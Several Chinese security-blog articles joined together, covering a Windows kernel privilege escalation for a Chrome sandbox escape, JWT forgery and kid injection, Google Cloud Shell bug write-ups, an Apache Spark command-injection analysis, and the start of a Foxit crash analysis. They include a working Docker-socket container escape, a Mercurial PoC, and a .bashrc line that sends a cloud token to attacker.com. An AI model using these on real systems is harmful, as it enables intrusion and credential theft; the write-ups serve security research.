被置位则窗口过程函数直接在内核上下文执行，而通过之前的窗口喷射我们已经可以通过第一个窗口的附加数据越界修改第二个窗口的strName.Buffer字段，通过将第二个窗口的strName.Buffer指向第二个窗口的bServerSideWindowProc，最终可以利用第二个窗口strName修改第二个窗口对象的bServerSideWindowProc标志位：
通过漏洞修改第二个窗口对象tagWND. bServerSideWindowProc 标志位后，就可以直接在内核态执行用户态shellcode：
注意这里和一般内核提权替换token利用方法稍有不同的是，这里首先清空了进程的Job对象指针，这是因为在Chrome的渲染进程中，即使shellcode替换了system进程的token，当前进程的token依然会继承自Job对象，并且Job不允许Chrome渲染进程产生新进程，因此需要先清空当前进程的Job对象指针：
修改tagWND. bServerSideWindowProc标志位的部分代码说明如下：
Shellcode执行成功后，当前进程提升为system权限，最后可以通过WinExec(“cmd.exe”, 1);
创建一个system权限的cmd。动态调试过程：
窗口对象喷射后，找到满足条件的两个相邻窗口对象：
触发漏洞后，第一个窗口的cbwndExtra被修改为0x40000000:
通过第一个窗口cbwndExtra越界修改第二个窗口的strName.Buffer，将其指向第二个窗口的bServerSideWindowProc标志位:
通过SetWindowTextA(hSecondaryWindow, “\x06”)修改第二个窗口的bServerSideWindowProc标志位:
最后执行shellcode，成功替换system进程token，实现提权：
## 0x4 Chrome执行dll
在完成了内核提权exp后，接下来需要考虑如何结合Chrome渲染进程的漏洞实现沙箱逃逸。首先可以考虑将内核提权exp以dll的形式编译，然后加载到目标进程，执行提权操作。但是由于Chrome渲染进程运行在Untrusted权限，无法直接利用漏洞获取shellcode执行权限后注入提权dll，需要考虑其他方法。
反射型dll注入就是一个比较好的方法，github中有相关项目可以直接使用：
以一个简单的dll程序为例：
vs编译选择最大优化并选择/MT模式生成payload.dll。使用sRDI的python模块生成bin文件：
再通过python脚本转换为js，替换CVE-2019-5768里的shellcode，关闭sandbox可以看到dll被成功执行：
同样方法编译CVE-2019-0808的exp，可以实现沙箱逃逸，完整的利用代码可以参考Exodus的github。感兴趣的同学可以自行尝试。
## 0x5 参考文献
1. <https://www.chromium.org/developers/design-documents/multi-process-architecture>
2. <https://www.anquanke.com/post/id/194351>/
3. <https://blog.exodusintel.com/2019/05/17/windows-within-windows/>
4. <https://github.com/exodusintel/CVE-2019-0808>
5. <http://blogs.360.cn/post/RootCause_CVE-2019-0808_CH.html>
6. <https://github.com/monoxgas/sRDI> | 社区文章 |
# 关于jwt
JWT的全称是Json Web
Token。它遵循JSON格式，将用户信息加密到token里，服务器不保存任何用户信息，只保存密钥信息，通过使用特定加密算法验证token，通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法。
jwt由三个部分组成：`header`.`payload`.`signature`
## header部分
header部分最常用的两个字段是`alg`和`typ`，`alg`指定了token加密使用的算法（最常用的为 _HMAC_ 和 _RSA_
算法），typ`声明类型为JWT
header通常会长这个样子：
{
"alg" : "HS256",
"typ" : "jwt"
}
## payload部分
payload则为用户数据以及一些元数据有关的声明，用以声明权限，举个例子，一次登录的过程可能会传递以下数据
{
"user_role" : "finn", //当前登录用户
"iss": "admin", //该JWT的签发者
"iat": 1573440582, //签发时间
"exp": 1573940267, //过期时间
"nbf": 1573440582, //该时间之前不接收处理该Token
"domain": "example.com", //面向的用户
"jti": "dff4214121e83057655e10bd9751d657" //Token唯一标识
}
## signature部分
signature的功能是保护token完整性。
生成方法为将header和payload两个部分联结起来，然后通过header部分指定的算法，计算出签名。
抽象成公式就是
`signature = HMAC-SHA256(base64urlEncode(header) + '.' +
base64urlEncode(payload), secret_key)`
值得注意的是，编码header和payload时使用的编码方式为`base64urlencode`，`base64url`编码是`base64`的修改版，为了方便在网络中传输使用了不同的编码表，它不会在末尾填充"="号，并将标准Base64中的"+"和"/"分别改成了"-"和"-"。
## 完整token生成
一个完整的jwt格式为(`header`.`payload`.`signature`)，其中header、payload使用base64url编码，signature通过指定算法生成。
python的`Pyjwt`使用示例如下
import jwt
encoded_jwt = jwt.encode({'user_name': 'admin'}, 'key', algorithm='HS256')
print(encoded_jwt)
print(jwt.decode(encoded_jwt, 'key', algorithms=['HS256']))
生成的token为
`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9`.`eyJ1c2VyX25hbWUiOiJhZG1pbiJ9.oL5szC7mFoJ_7FI9UVMcKfmisqr6Qlo1dusps5wOUlo`
# 攻击方式
## 加密算法
### 空加密算法
JWT支持使用空加密算法，可以在header中指定alg为`None`
这样的话，只要把signature设置为空（即不添加signature字段），提交到服务器，任何token都可以通过服务器的验证。举个例子，使用以下的字段
{
"alg" : "None",
"typ" : "jwt"
}
{
"user" : "Admin"
}
生成的完整token为`ew0KCSJhbGciIDogIk5vbmUiLA0KCSJ0eXAiIDogImp3dCINCn0.ew0KCSJ1c2VyIiA6ICJBZG1pbiINCn0`
(header+'.'+payload，去掉了'.'+signature字段)
空加密算法的设计初衷是用于调试的，但是如果某天开发人员脑阔瓦特了，在生产环境中开启了空加密算法，缺少签名算法，jwt保证信息不被篡改的功能就失效了。攻击者只需要把alg字段设置为None，就可以在payload中构造身份信息，伪造用户身份。
### 修改RSA加密算法为HMAC
JWT中最常用的两种算法为`HMAC`和`RSA`。
`HMAC`是密钥相关的哈希运算消息认证码（Hash-based Message Authentication
Code）的缩写，它是一种对称加密算法，使用相同的密钥对传输信息进行加解密。
`RSA`则是一种非对称加密算法，使用私钥加密明文，公钥解密密文。
在HMAC和RSA算法中，都是使用私钥对`signature`字段进行签名，只有拿到了加密时使用的私钥，才有可能伪造token。
现在我们假设有这样一种情况，一个Web应用，在JWT传输过程中使用RSA算法，密钥`pem`对JWT token进行签名，公钥`pub`对签名进行验证。
{
"alg" : "RS256",
"typ" : "jwt"
}
通常情况下密钥`pem`是无法获取到的，但是公钥`pub`却可以很容易通过某些途径读取到，这时，将JWT的加密算法修改为HMAC，即
{
"alg" : "HS256",
"typ" : "jwt"
}
同时使用获取到的公钥`pub`作为算法的密钥，对token进行签名，发送到服务器端。
服务器端会将RSA的公钥（`pub`）视为当前算法（HMAC）的密钥，使用HS256算法对接收到的签名进行验证。
> REF:
>
> <https://skysec.top/2018/05/19/2018CUMTCTF-Final-Web/#Pastebin/>
## 爆破密钥
俗话说，有密码验证的地方，就有会爆破。
不过对 JWT 的密钥爆破需要在一定的前提下进行：
* 知悉JWT使用的加密算法
* 一段有效的、已签名的token
* 签名用的密钥不复杂（弱密钥）
所以其实JWT 密钥爆破的局限性很大。
相关工具：[c-jwt-cracker](https://github.com/brendan-rius/c-jwt-cracker)
以下是几个使用示例
可以看到简单的字母数字组合都是可以爆破的，但是密钥位数稍微长一点或者更复杂一点的话，爆破时间就会需要很久。
## 修改KID参数
`kid`是jwt header中的一个可选参数，全称是`key ID`，它用于指定加密算法的密钥
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "/home/jwt/.ssh/pem"
}
因为该参数可以由用户输入，所以也可能造成一些安全问题。
### 任意文件读取
`kid`参数用于读取密钥文件，但系统并不会知道用户想要读取的到底是不是密钥文件，所以，如果在没有对参数进行过滤的前提下，攻击者是可以读取到系统的任意文件的。
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "/etc/passwd"
}
### SQL注入
`kid`也可以从数据库中提取数据，这时候就有可能造成SQL注入攻击，通过构造SQL语句来获取数据或者是绕过signature的验证
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "key11111111' || union select 'secretkey' -- "
}
### 命令注入
对`kid`参数过滤不严也可能会出现命令注入问题，但是利用条件比较苛刻。如果服务器后端使用的是Ruby，在读取密钥文件时使用了`open`函数，通过构造参数就可能造成命令注入。
"/path/to/key_file|whoami"
对于其他的语言，例如php，如果代码中使用的是`exec`或者是`system`来读取密钥文件，那么同样也可以造成命令注入，当然这个可能性就比较小了。
## 修改JKU/X5U参数
`JKU`的全称是"JSON Web Key Set
URL"，用于指定一组用于验证令牌的密钥的URL。类似于`kid`，`JKU`也可以由用户指定输入数据，如果没有经过严格过滤，就可以指定一组自定义的密钥文件，并指定web应用使用该组密钥来验证token。
`X5U`则以URI的形式数允许攻击者指定用于验证令牌的 **公钥证书或证书链** ，与`JKU`的攻击利用方式类似。
## 其他方式
### 信息泄露
JWT保证的是数据传输过程中的完整性而不是机密性。
由于payload是使用`base64url`编码的，所以相当于明文传输，如果在payload中携带了敏感信息（如存放密钥对的文件路径），单独对payload部分进行`base64url`解码，就可以读取到payload中携带的信息。 | 社区文章 |
> 本文为译文，原文地址 <https://offensi.com/2019/12/16/4-google-cloud-shell-bugs-> explained-introduction/> 原文作者为
> [[email protected]](https://offensi.com/author/wtmoffensi/)
# 介绍
在2019年，我花了大量时间寻找Google Cloud Platform中的错误。虽然众所周知，Google Cloud
Platform在漏洞搜寻者中是一个艰难的目标，但我很幸运能够在其中一项服务Google Cloud Shell中找到漏洞，并取得了一定的成功。
因此，在7月，[Google VRP](https://g.co/vrp)
的Eduardo与我联系。他问我是否愿意在一个视频采访中向[LiveOverflow](https://twitter.com/liveoverflow)展示Cloud
Shell错误作为视频采访的一部分，但前提是：该错误必须由Google修复！LiveOverflow在完善我的错误方面做得很好，可以在[这里](https://www.youtube.com/watch?v=E-P9USG6kLs)看到[结果](https://www.youtube.com/watch?v=E-P9USG6kLs)。
后来在Google上，邀请我参加了10月在伦敦的Google总部举行的[BugSWAT](https://twitter.com/hashtag/bugswat)活动。在这次活动中，我发表了题为《25分钟之内4个Cloud
shell错误》的演讲，可以与我的Bughunters和Google员工分享我的一些发现。
总共我在Google Cloud Shell中发现了9个漏洞。在本系列文章中，我将揭露并解释其中的4篇，并且以我最喜欢的一篇作为结尾。
## 关于GOOGLE CLOUD SHELL
Google Cloud Shell为管理员和开发人员提供了一种快速访问云资源的方法。它为用户提供了可通过浏览器访问的Linux
Shell。该Shell附带了开始在您的Google Cloud
Platform项目上工作所需的预安装工具，例如gcloud，Docker，Python，vim，Emacs和Theia（一个功能强大的开源IDE）。
Google Cloud Platform的用户可以通过Cloud Console或仅通过访问以下URL来启动Cloud
Shell实例[https://console.cloud.google.com/home/dashboard?cloudshell=true&project=your_project_id](https://console.cloud.google.com/home/dashboard?cloudshell=true&project_id=your_project_id)
启动Cloud
Shell实例后，将向用户显示一个终端窗口。在下面的屏幕截图中，您可以看到它的外观。值得注意的是，gcloud客户端已经通过身份验证。如果攻击者能够破坏您的Cloud
Shell，则它可以访问您的所有GCP资源。【译者注：GCP指Google Cloud Platform】
## 逃逸CLOUD SHELL镜像
在Cloud Shell中使用ps查看正在运行的进程时，似乎我们被困在Docker容器中。只有少数几个进程正在运行。
为了证实我们的怀疑，我们可以检查/
proc文件系统。适用于Linux的Docker引擎利用了所谓的控制组（[cgroups](http://man7.org/linux/man-pages/man7/cgroups.7.html)）。cgroup将应用程序限制为一组特定的资源。例如，通过使用cgroup，Docker可以限制分配给容器的内存量。对于Cloud
Shell，我通过检查`/proc/1/environ`的内容确定了Kubernetes和Docker的使用，如下所示。
因此，我肯定我被困在一个容器内。如果我想了解有关Cloud
Shell的内部运作的更多信息，我需要找到一种逃逸到主机的方法。幸运的是，在浏览了文件系统之后，我注意到有2个Docker unix套接字可用。在
_/run/docker.sock_ 中，这是我们在Cloud Shell中运行的Docker客户端的默认路径，
_/google/host/var/run/run/docker.sock_ 套接字，这是第二个。
第二个Unix套接字的路径名表明这是基于主机的Docker套接字。可以与基于主机的Docker套接字通信的任何人都可以轻松逃逸容器并同时获得主机上的root访问权限。
使用下面的脚本，我逃到了主机。
# create a privileged container with host root filesystem mounted - [email protected]
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name LiveOverflow-container -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start LiveOverflow-container
sudo docker -H unix:///google/host/var/run/docker.sock exec -it LiveOverflow-container /bin/sh
## 全局概览
现在，我具有对主机的root访问权限，我开始研究Kubernetes的配置，该配置存储在YAML文件的
`/etc/kubernetes/manifests/` 下。基于Kubernetes的配置以及使用tcpdump检查几个小时的流量，我现在对Cloud
Shell的工作方式有了更好的了解。我很快画了一个很丑的图，来捋清思路。
## 重新配置KUBERNETES
默认情况下，Kubernetes容器内的大多数容器在运行时都没有特权。因此，我们无法在这些容器中使用调试工具，例如gdb和strace。Gdb和strace依赖于[ptrace()](http://man7.org/linux/man-pages/man2/ptrace.2.html)
syscall，并且要求最低功能为SYS_PTRACE。在特权模式下运行所有容器比授予它们SYS_PTRACE功能要容易得多。因此，我编写了一个脚本来重新配置
cs-6000 pod。
下面的脚本编写了一个新的cs-6000.yaml配置，并将旧配置链接到 /dev/null
。运行它后，您会发现容器中的所有容器将自动重新启动。现在，所有容器都以特权模式运行，我们可以开始调试了。
#!/bin/sh
# [email protected]
# write new manifest
cat /etc/kubernetes/manifests/cs-6000.yaml | sed s/" 'securityContext': \!\!null 'null'"/\
" 'securityContext':\n"\
" 'privileged': \!\!bool 'true'\n"\
" 'procMount': \!\!null 'null'\n"\
" 'runAsGroup': \!\!null 'null'\n"\
" 'runAsUser': \!\!null 'null'\n"\
" 'seLinuxOptions': \!\!null 'null'\n"/g > /tmp/cs-6000.yaml
# replace old manifest with symlink
mv /tmp/cs-6000.yaml /etc/kubernetes/manifests/cs-6000.modified
ln -fs /dev/null /etc/kubernetes/manifests/cs-6000.yaml
## 额外资源
* 我的带有[Cloud Shell工具的](https://github.com/offensi/LiveOverflow-cloudshell-stuff) github存储库
* [LiveOverflow的](https://www.youtube.com/watch?v=E-P9USG6kLs)有关在Cloud Shell中进行[错误查找的视频](https://www.youtube.com/watch?v=E-P9USG6kLs)
* Google的官方Cloud Shell [文档](https://cloud.google.com/shell/docs/)
* Docker [文档](https://docs.docker.com/)
* Kubernetes [文档](https://kubernetes.io/docs/home/)
# BUG 1 – Python语言服务器
## 介绍
Google Cloud Shell为用户提供了一个称为`Open In Cloud
Shell`的功能。通过使用此功能，用户可以创建一个链接，该链接自动打开Cloud
Shell并克隆托管在Github或Bitbucket上的Git存储库。这是通过将`cloudshell_git_repo`参数传递到Cloud Shell
URL来完成的，如以下代码所示：
<a href="https://ssh.cloud.google.com/cloudshell/editor?cloudshell_git_repo=http://path-to-repo/sample.git"><img alt="Open in Cloud Shell" src ="https://gstatic.com/cloudssh/images/open-btn.svg"></a>
打开链接后，将启动Cloud Shell，并将 `http://path-to-repo/sample.git` 存储库克隆到用户的主目录中。
除了 `cloud_git_repo`
GET参数之外，还可以传递多个参数。当将`cloud_git_repo`与`open_in_editor`参数结合使用时，我们可以克隆存储库并在一次指定的文件上启动Theia
IDE。可以在Cloud Shell文档中找到所有受支持的GET参数的完整概述。
## PYLS
当用户克隆包含`some_python_file.py`的Git存储库并将此文件传递到`open_in_editor`
GET参数（`'open_in_editor =
some_python_file.py'`）时，Theia编辑器将开始编辑指定的文件。在编辑器中，我们可以清楚地看到IDE突然获得了语法突出显示和自动完成功能：
使用ps检查进程，我们会注意到一个新进程。editor_exec.sh脚本启动了[pyls](https://github.com/palantir/python-language-server) python语言服务器。
wtm 736 0.0 0.1 11212 2920 ? S<s 13:54 0:00 /bin/bash /google/devshell/editor/editor_exec.sh python -m pyls
父进程似乎是sshd。如果我们将strace附加到sshd进程并观察到Python语言服务器被启动，我们可以检查所有正在执行的系统调用。我们将输出保存到
`/tmp/out` 以供以后检查。
在遍历`/tmp/out`中的所有syscall时，我注意到Python语言服务器正在尝试使用[stat()](http://man7.org/linux/man-pages/man2/stat.2.html) syscall 查询主目录中不存在的软件包。
538 stat("/home/wtm/supervisor", 0x7ffdf08e11e0) = -1 ENOENT (No such file or directory)
542 stat("/home/wtm/pyls", 0x7ffcbbf61a10) = -1 ENOENT (No such file or directory)
542 stat("/home/wtm/google", 0x7ffcbbf5fe00) = -1 ENOENT (No such file or directory)
当Python <3.3尝试导入软件包时，它将查找一个已执行的`__init__.py`文件。（有关更多信息，请参见[PEP
382](https://www.python.org/dev/peps/pep-0382/)）。现在我们有了攻击向量！
## 构建漏洞
如果我们创建了一个名为`supervisor`，`pyls`或`google`的恶意Python
git存储库，其中包含恶意的`__init__.py`，则可以诱使Python语言服务器执行任意代码。我们所要做的就是存储在Github上恶意的仓库，并发送给我们的受害者`https://ssh.cloud.google.com/console/editor?cloudshell_git_repo=https://github.com/offensi/supervisor&open_in_editor=__init__.py`
通过将' **init**.py'传递给'open_in_editor'GET参数，我们强制IDE自动启动Python语言服务器。
现在，该语言服务器开始寻找名为`supervisor`的程序包，因为我们刚刚克隆了具有相同名称的存储库，所以现在可以找到该程序包。然后执行隐藏在`__init__.py`中的恶意代码，这意味着我们的受害者GCP资源受到了威胁。
# BUG2 - 一个自定义的Cloud Shell镜像
## 介绍
默认情况下提供给您的Cloud Shell基于Debian 9 Stretch Docker映像。该映像包含最受欢迎的工具，并存储在Google的Cloud
Repository中，网址为<http://gcr.io/cloudshell-images/cloudshell:latest>
如果用户有特殊需要，可以替换Debian Cloud
Shell映像并启动自定义映像。例如，如果您希望使用Terraform映像进行基础架构配置，则可以在Cloud Shell
Environment设置下将Debian映像替换为Terraform映像。
自动启动自定义Docker映像的另一种方法是通过提供`cloudshell_image`传递GET参数，例如：<https://ssh.cloud.google.com/cloudshell/editor?cloudshell_image=gcr.io/google/ruby>
## 值得信赖的环境
Google区分默认镜像和自定义镜像。运行默认映像的容器会将您的主文件夹安装到`/home/username`。此外，在启动时，它会为您的gcloud客户端提供凭据。
从不受信任的第三方启动自定义映像时，这可能会带来安全风险。如果自定义映像包含恶意代码并尝试访问您的GCP资源，该怎么办？
因此，Google引入了`受信任`和`不受信任`模式。在受信任模式下自动运行的映像只有`gcr.io/cloudshell-images/cloudshell:latest`。在不受信任的模式下引导自定义映像时，将为容器提供一个临时主目录，该主目录挂载到`/home/user`，该目录为空并最终删除。此外，gcloud客户端没有附加凭证，您不能在`metadata.google.internal`上查询元数据实例以获取承载令牌。
## 逃逸不受信任的环境
在本系列文章的一般介绍中，我们已经学习了如何从默认的Cloud Shell逃脱到主机。我们再次粘贴以下代码行。
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name LiveOverflow-container -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start LiveOverflow-container
sudo docker -H unix:///google/host/var/run/docker.sock exec -it LiveOverflow-container /bin/sh
至此，我们在主机上有了一个bash。我们更改根目录通过`chroot
/rootfs`。搜索文件系统后，很明显主机实例处于与预期不同的状态。尽管托管自定义Docker映像的容器具有一个空的`/home
/user`文件夹，但`dmesg`和`mount`命令清楚地表明，包含用户的home文件夹的永久磁盘仍附加到基础实例！
## 利用它
有了以上知识，任何攻击者现在都可以构建恶意的Docker映像。该恶意Docker映像可以在启动时使用与上面显示的相同的技术来逃逸到主机。逃逸到主机后，恶意映像可能会窃取用户主文件夹中的内容。
此外，攻击可能会向用户的主文件夹中写入任意内容，以试图窃取凭据，例如，通过将以下代码添加到`/var/google/devshell-home/.bashrc`中
curl -H"Metadata-flavor: Google" http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token > /tmp/token.json
curl -X POST -d@/tmp/token.json https://attacker.com/api/tokenupload
# BUG3 - Git clone
### 介绍
在本系列文章的[#Bug 1](https://offensi.com/2019/12/16/5-google-cloud-shell-bugs-explained-bug-1/)中，我们讨论了将`cloudshell_git_repo`GET-repo附加到Cloud Shell
URL以便克隆Github或Bitbucket存储库的可能性。除了此参数外，我们还可以指定`cloudshell_git_branch`和`cloudshell_working_dir`参数以帮助克隆过程。
这是如何运作的？当我们将上面列出的这三个参数传递给Cloud Shell URL时，在您的终端窗口内部将调用cloudshell_open
bash函数。此功能在`/google/devshell/bashrc.google.d/cloudshell_open.sh`中定义。我在下面列出了最重要的代码行的功能。
function cloudshell_open {
...
git clone -- "$cloudshell_git_repo" "$target_directory"
cd "$cloudshell_working_dir"
git checkout "$cloudshell_git_branch"
...
}
我们看到`git clone`是针对cloudshell_git_repo
GET参数中指定的URL执行的。然后，该脚本通过cd进入cloudshell_working_dir中指定的任何目录来更改工作目录。然后在指定的git分支上调用`git
checkout`。考虑到所有输入参数均已正确过滤的事实，一开始这似乎无害。
## GIT-HOOKS
Git-hooks是自定义脚本，在执行重要操作时会触发。在您运行`git init`时默认创建的git-hooks存储在`.git /
hooks`中，可能看起来与此类似。
如果我们可以将这些自定义脚本存储在一个恶意的存储库中并在受害人的Cloud Shell执行'git
checkout'时执行它们，那会很酷吗？根据Git手册，这是不可能的。这些 hooks 是客户端 hooks
。隐藏在`.git/`中的所有内容都将被忽略，因此不会复制到远程仓库中。
## BARE REPOSITORIES 裸仓库
创建存储库的标准方法是使用`git
init`。这将使用众所周知的布局创建一个工作库。它包含一个`.git/`目录，其中存储了所有修订历史记录和元数据，还包含您正在使用的文件的检出版本。
但是，还有一种可以存储存储库的格式。它称为`BARE
REPOSITORIES`裸仓库。这种类型的存储库通常用于共享，并且具有某种平面布局。可以通过运行`git init –bare`命令来创建它。
## 漏洞利用
在屏幕截图中，您可以清楚地看到我们刚刚创建了一个git
repo，没有`.git`目录，但是带有`hooks`目录！这意味着，如果我们将存储在裸存储库中的钩子隐藏在`普通`存储库子目录中，则可以将其推送到远程存储库。还记得cloudshell_function中的`cd`命令吗？我们可以跳到所需的任何子目录并执行`git
checkout`，然后触发存在的钩子。
我发布了此漏洞的概念证明，供您在 <https://github.com/offensi/git-poc>
中查看。按照自述文件中的指定在此存储库上运行git clone和检出将执行无害的检出钩子。
以Cloud Shell受害者为目标的邪恶URL看起来像这样：
[https://ssh.cloud.google.com/console/editor?cloudshell_git_repo=https://github.com/offensi/git-poc&cloudshell_git_branch=master&cloudshell_working_dir=evilgitdirectory](https://ssh.cloud.google.com/console/editor?cloudshell_git_repo=https://github.com/offensi/git-poc&cloudshell_git_branch=master&cloudshell_working_dir=evilgitdirectory)
在下面的屏幕截图中可以看到成功的利用。
# BUG4 - Go and get pwned
## 介绍
在审核Javascript代码时，这与使用Cloud Shell时负责浏览器中所有客户端的工作有关，我注意到有些不同寻常。
处理所有GET参数的代码列出了[官方文档中](https://cloud.google.com/shell/docs/open-in-cloud-shell) 没有的参数。
var B3b = {
CREATE_CUSTOM_IMAGE: "cloudshell_create_custom_image",
DIR: "cloudshell_working_dir",
GIT_BRANCH: "cloudshell_git_branch",
GIT_REPO: "cloudshell_git_repo",
GO_GET_REPO: "cloudshell_go_get_repo",
IMAGE: "cloudshell_image",
OPEN_IN_EDITOR: "cloudshell_open_in_editor",
PRINT: "cloudshell_print",
TUTORIAL: "cloudshell_tutorial"
};
除`cloudshell_go_get_repo` GET参数外，以上列出的所有参数均在文档中列出并说明。当使用此参数
<https://ssh.cloud.google.com/cloudshell/editor?cloudshell_go_get_repo=https://github.com/some/package>
构建Cloud Shell URL时，再次调用cloudshell_open函数。
负责处理`go get`命令的代码如下。
function cloudshell_open {
...
valid_url_chars="[a-zA-Z0-9/\._:\-]*"
...
if [[ -n "$cloudshell_go_get_repo" ]]; then
valid_go_get=$(echo $cloudshell_go_get_repo | grep -e "^$valid_url_chars$")
if [[ -z "$valid_go_get" ]]; then
echo "Invalid go_get"
return
fi
...
go get -- "$cloudshell_go_get_repo"
go_src="$(go env GOPATH | cut -d ':' -f 1)/src/$go_get"
所有输入似乎已正确过滤。不过，我记下了这一点。
## 容器漏洞扫描
几个月后，我在Google的Container
Registry（gcr.io）中寻找漏洞。它提供的功能之一称为漏洞扫描。启用漏洞扫描后，将扫描您推送的每个Docker映像，以查找已知的漏洞和披露。发现新漏洞后，容器注册表会检查它们是否影响其他的映像。
我以前一直在用的Docker映像之一是<https://gcr.io/cloudshell-images/cloudshell:latest上的Cloud>
Shell映像。我已经可以在本地Docker引擎上轻松获得此映像，因此我将其推送到扫描中以检查漏洞扫描功能的运行情况。
打开针对Cloud Shell图像的扫描结果后，我有些惊讶。Cloud Shell映像似乎包含500多个漏洞。
在检查了列出的几乎所有漏洞之后，我终于找到了一个看起来对我来说有趣且有用的漏洞：[CVE-2019-3902](https://security-tracker.debian.org/tracker/CVE-2019-3902)。
## 利用CVE-2019-3902
CVE-2019-3902描述了Mercurial中的漏洞。由于Mercurial /
HG客户端的路径检查逻辑中存在漏洞，恶意存储库可以在客户端文件系统上的存储库边界之外写入文件。我知道`go
get`命令能够处理几种类型的存储库：svn，bzr，git和HG！
由于没有针对CVE-2019-3902的公共漏洞利用程序，因此我不得不尝试对其进行重现。我下载了Mercurial源代码的2个版本：修补版本和未修补版本。希望比较两个可以为我提供一些如何利用它的线索。
在检查修补的Mercurial源代码时，我偶然发现了存储在/ tests /目录中的自动测试用例。基于这些测试，我能够重建漏洞利用程序。
#!/bin/sh
# PoC for Google VRP by [email protected]
mkdir hgrepo
hg init hgrepo/root
cd hgrepo/root
ln -s ../../../bin
hg ci -qAm 'add symlink "bin"'
hg init ../../../bin
echo 'bin = bin' >> .hgsub
hg ci -qAm 'add subrepo "bin"'
cd ../../../bin
echo '#!/bin/sh' >> cut
echo 'wall You have been pwned!' >> cut
chmod +x cut
hg add cut
hg commit -m "evil cut bin"
cd /var/www/html/hgrepo/root
hg commit -m "final"
上面的代码构建了一个恶意存储库。当易受攻击的hg客户端克隆此存储库时，会将名为`cut`的恶意文件写入`../../../bin`。当我们查看`cloudshell_open`函数之前，我们看到在`go
get`克隆恶意存储库之后立即调用了`cut`命令，因此执行了任意代码。
恶意存储库存储在个人Web服务器上 go.offensi.com/hgrepo 。恶意的go.html文件放置在网络服务器的根目录中，以指示`go
get`命令克隆Mercurial存储库。
<meta name="go-import" content="go.offensi.com/go.html hg https://go.offensi.com/hgrepo/root">
现在，可以通过打开以下链接来诱骗任何Cloud
Shell用户执行任意代码：<https://ssh.cloud.google.com/cloudshell/editor?cloudshell_go_get_repo=https://go.offensi.com/go.html> | 社区文章 |
# CVE-2022-33891 Apache Spark shell命令注入漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞描述
7月18号，Apache发布安全公告，修复了一个Apache
Spark中存在的命令注入漏洞。漏洞编号：CVE-2022-33891，漏洞威胁等级：高危。Apache Spark UI提供了通过配置选项Spark
.acl .enable启用acl的可能性。使用身份验证过滤器，这将检查用户是否具有查看或修改应用程序的访问权限。如果启用了acl,
HttpSecurityFilter中的代码路径可以允许某人通过提供任意用户名来执行模拟。
恶意用户可能能够访问权限检查功能，该功能最终将根据他们的输入构建一个 Unix shell 命令并执行它。这将导致任意 shell 命令执行。
## 相关介绍
Apache
Spark是美国阿帕奇（Apache）软件基金会的一款支持非循环数据流和内存计算的大规模数据处理引擎。Spark优点在于能更好地适用于数据挖掘与机器学习等需要迭代的MapReduce的算法。
## 利用范围
Spark Core – Apache <=3.0.3
3.1.1 <= Spark Core – Apache <=3.1.2
3.2.0 <= Spark Core – Apache <=3.2.1
## 漏洞分析
**环境搭建**
在官网（https://archive.apache.org/dist/spark）下载Apache Spark 3.2.1版本进行漏洞复现分析。
漏洞触发的关键在于是否启用ACL，使用身份验证过滤器。
启用ACL的两种方式：
1、通过设置选项 spark.acls.enable 启用 。
2、运行spark-shell时，通过-c参数启动。
为更好分析漏洞，在运行spark-shell前，需在其中进行远程调试配置
export
SPARK_SUBMIT_OPTS=”-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005″
配置完成后运行spark-shell，并开启ACL
./spark-shell –conf spark.acls.enable=true
### **漏洞原理**
根据diff（https://github.com/apache/spark/pull/36315/files）分析。
如上所示，使用命令拼接且没有做任何处理，而在修复的版本中直接删除了ShellBasedGroupsMappingProvider函数中对bash的调用。
### **动态分析**
了解漏洞原理之后，就该考虑如何触发漏洞。
在Apache spark启用ACL后，会通过HttpSecurityFilter这个filter进行权限的校验。
首先将断点打在org.apache.spark.ui.HttpSecurityFilter#doFilter函数处。
在进入doFilter函数之后，首先会提取参数“doAs”的值，然后赋值给effectiveUser，进入org.apache.spark.SecurityManager#checkUIViewPermissions函数。
后续跟进一系列函数进行处理。
进入org.apache.spark.security.ShellBasedGroupsMappingProvider#getGroups函数时，username为传入参数。
随后进入org.apache.spark.security.ShellBasedGroupsMappingProvider#getUnixGroups函数。
在这里username进行了拼接处理，因为我们传入的username参数可控，便形成了命令注入。
后续将通过executeAndGetOutput函数直接触发传入的命令，造成命令执行。
### **漏洞复现**
通过反单引号和参数“doAs”成功命令注入。
## 修复建议
建议受影响的用户升级到安全版本：Apache Spark 3.1.3、3.2.2 或 3.3.0 或更高版本。
## 参考材料
1.https://lists.apache.org/thread/p847l3kopoo5bjtmxrcwk21xp6tjxqlc
2.https://archive.apache.org/dist/spark/
3.https://github.com/apache/spark/pull/36315/files | 社区文章 |
# 对福昕pdf阅读器的一次"讨伐"——为何要这样？
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0、引言
“讨伐”的背景是这样的，福昕pdf阅读器打开看着某某文档，然后其中有一段文字我想复制下，大概四五十个字吧，然后就莫名其妙的Crash了。由于之前工作的原因，我的注册表里一直挂着JIT，所以，Windbg就跳出来，静静的等着我来干点啥。分析之余，想不到为什么会有这样的“怪异写法”。
## 1、案发的第一现场
先来看下案发时，当时的上下文是什么样子的，如下图所示，根据经验，基本可判断是个0xC0000005异常了。
出bug的模块名为frdvpr_drv，出bug的函数据Windbg报告为DrvQueryDriverInfo，但这个肯定是不对的，函数内部偏移为0x2c681即181889，都快180K了，常规的函数不可能这么大。造成Windbg出错的原因是没有合适的PDB。好了，先看下frdvpr_drv这个模块的具体信息，如下：
